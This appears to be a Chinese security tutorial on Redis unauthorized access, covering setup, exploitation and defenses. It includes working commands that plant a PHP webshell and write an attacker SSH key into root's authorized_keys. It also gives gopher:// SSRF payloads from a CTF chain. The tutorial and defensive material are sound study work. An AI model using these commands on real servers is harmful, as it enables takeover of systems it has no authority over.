初识Redis未授权访问
字数 1168 2025-08-27 12:33:48
Redis未授权访问漏洞分析与利用
1. Redis简介
Redis是一个开源的、基于内存的键值存储系统,使用ANSI C语言编写,支持多种数据结构:
- 字符串(String)
- 哈希(Map)
- 列表(list)
- 集合(sets)
- 有序集合(sorted sets)
默认端口:6379
2. Redis安装与基本操作
Windows安装
- 下载地址: https://github.com/MSOpenTech/redis/releases
- 启动命令:
redis-server.exe redis.conf - 验证端口: 检查6379端口是否开放
Ubuntu安装
sudo apt-get update
sudo apt-get install redis-server
基本命令
- 连接Redis:
redis-cli.exe -h <目标IP> - 查看键值:
get <key> - 查看所有键:
keys * - 删除所有键:
flushall
3. Redis未授权访问漏洞
漏洞原理
Redis默认配置不开启认证,导致攻击者可以直接连接Redis服务并执行命令。
漏洞检测
- 使用telnet或redis-cli连接目标Redis服务
- 执行
info命令获取Redis信息
4. 漏洞利用方式
4.1 写入Webshell
set x "<?php phpinfo(); ?>"
config set dbfilename test.php
config set dir /var/www/html
save
4.2 写入SSH公钥
- 本地生成SSH密钥对:
ssh-keygen -t rsa - 将公钥写入目标Redis:
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n<你的公钥内容>\n\n"
save
- 使用SSH连接:
ssh -i id_rsa root@目标IP
4.3 其他利用方式
- 写入crontab定时任务
- 主从复制RCE
- Lua沙盒逃逸
5. CTF中的Redis利用案例
5.1 XSS -> SSRF -> Redis攻击链
- 通过XSS获取管理员Cookie
- 利用Cookie伪造管理员身份
- 发现SSRF漏洞点
- 通过SSRF访问内网Redis服务
5.2 Gopher协议利用Redis
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
xmlhttp.send("url=gopher://127.0.0.1:25566/_keys%20*");
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%20flag");
5.3 处理Redis返回的列表数据
TYPE flag # 查看数据类型
LLEN flag # 查看列表长度
LRANGE flag 0 53 # 获取所有元素
6. 防御措施
- 设置Redis密码认证: 在redis.conf中添加
requirepass <强密码> - 修改默认端口: 修改redis.conf中的
port配置 - 限制绑定IP: 设置
bind 127.0.0.1 - 禁用高危命令: 在redis.conf中添加:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" - 设置防火墙规则,限制访问来源
- 使用低权限用户运行Redis服务
7. 参考资源
- https://www.kingkk.com/2018/08/redis未授权访问与ssrf利用/
- Redis官方文档
- Gopher协议RFC文档
8. 总结
Redis未授权访问是一个严重的安全问题,可能导致服务器被完全控制。通过本文介绍的方法,安全人员可以检测和利用该漏洞,同时也提供了有效的防御措施。在实际渗透测试中,Redis漏洞常与其他漏洞(如SSRF)结合形成攻击链,因此需要全面考虑系统安全。